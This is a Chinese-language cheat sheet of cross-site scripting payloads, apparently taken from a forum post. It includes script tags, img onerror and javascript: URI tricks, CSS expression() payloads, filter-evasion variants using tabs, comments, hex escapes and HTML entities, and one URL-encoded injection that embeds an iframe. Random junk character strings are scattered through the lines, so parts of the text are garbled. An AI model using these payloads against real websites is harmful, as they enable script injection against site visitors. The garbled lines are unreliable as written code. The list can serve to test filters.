<script>alert("跨站")</script> (最常用)
* v% G; H1 m+ ]$ F! C<img scr=javascript:alert("跨站")></img>9 T3 E/ n7 z f( a" r& c& i
<img scr="javascript: alert(/跨站/)></img>* Y6 H2 ?; t# w+ \, q' m
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格)& w, X5 }$ h$ A! U; R% a( j
<img scr="#" onerror=alert(/跨站/)></img>3 R" u2 R, [* o. v* A
<img scr="#" style="xss:expression(alert(/xss/));"></img>
9 N: s2 A/ L5 {# V<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释)
) l3 u$ a9 s: Z; e9 o<img src=vbscript:msgbox ("xss")></img>4 _# l! x; ~& K9 r$ e0 ^4 V; U4 t# c
<style> input {left:expression (alert('xss'))}</style>
i2 h% J) r6 g<div style={left:expression (alert('xss'))}></div>
9 _ Y$ ^' S& D0 ~9 y/ S<div style={left:exp/* */ression (alert('xss'))}></div>
3 H1 e+ ^. G! W) E<div style={left:\0065\0078ression (alert('xss'))}></div>; G' D3 \7 a7 X. H
html 实体 <div style={left:&#x0065;xpression (alert('xss'))}></div>4 R! |2 ] y1 y8 K2 H1 `1 k$ W
unicode <div style="{left:expRessioN (alert('xss'))}">+ d$ g- E. I4 k1 \5 @6 D
. S4 ^8 |# `9 R) R5 L# t; c, K
"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["
U3 D0 N2 F" f$ _) M. c5 @ |